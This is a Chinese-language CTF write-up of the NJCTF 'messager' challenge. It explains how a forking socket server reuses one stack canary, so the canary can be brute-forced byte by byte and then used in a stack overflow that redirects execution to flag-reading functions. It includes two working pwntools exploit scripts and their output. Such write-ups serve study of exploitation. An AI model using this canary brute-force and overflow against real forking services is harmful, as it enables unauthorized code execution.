栈溢出之利用-stack-chk-fail3

栈溢出之利用-stack-chk-fail3

前段时间参加NJCTF,当时对canary保护了解不多,进过这段时间的学习,针对messager这题分析一下

本题有些特殊,和平常的pwn有些不同,没有使用socat命令将程序和端口绑定,而是程序本身利用socket和选手直接进行通信,只要在靶机上运行程序就可以了,本题调试也是同样的道理。接下来分析一下程序:

程序在接收数据的时候存在栈溢出,这题的问题出在fork函数,该题是自己写了一个socket, 接受到请求后fork出一个子进程,和用户做交互,父进程继续监听端口。

fork函数的作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也是一样的。

这样就存在一个可能,我们可以一个byte一个byte的对canary进行爆破,如果程序跪了则表明canary错误,如果程序正常返回则表示canary正确,我们通过栈溢出对canary的最低位开始逐个覆盖,爆破出该位的正确canary值。

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# blasting canary
canary = "\x00"
padding = "a"*104

for x in xrange(7):
    for y in xrange(256):
        p = remote("localhost", 5555)
        print p.recv()
        p.send(padding+canary+chr(y))
        try:
            info = p.recv()
            print info
        except:
            p.close()
            continue
        p.close()
        break
    canary += chr(y)

print "success get blasting!"
print canary.encode('hex')

为了防止其他漏洞会导致栈信息泄露,canary的最后一位是\x00防止后面的数据被泄露出来,因此就爆破7位。

接下来就是简单的栈溢出,用爆破出来的canary将栈中的canary覆盖掉,在判断canary的时候其值不变,就绕过了该保护机制。

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

canary = "\x00\xb4\xc2\x70\x8f\x84\x7d\xdd"
p = remote("127.0.0.1", 5555)
p.recv()

ret = 0x400b76 //读取flag
ret2 = 0x400bc6 //输出读入flag信息

p.send(padding+canary+"a"*8+p64(ret)+p64(ret2))
print p.recv()

本地调试不同进程的canary都不一样,调试的时候不要重新启动程序。

$ python level3_x86.py 
[+] Opening connection to localhost on port 5555: Done
ZCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaa}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
[*] Closed connection to localhost port 5555
文章目录
  1. 1. 栈溢出之利用-stack-chk-fail3
|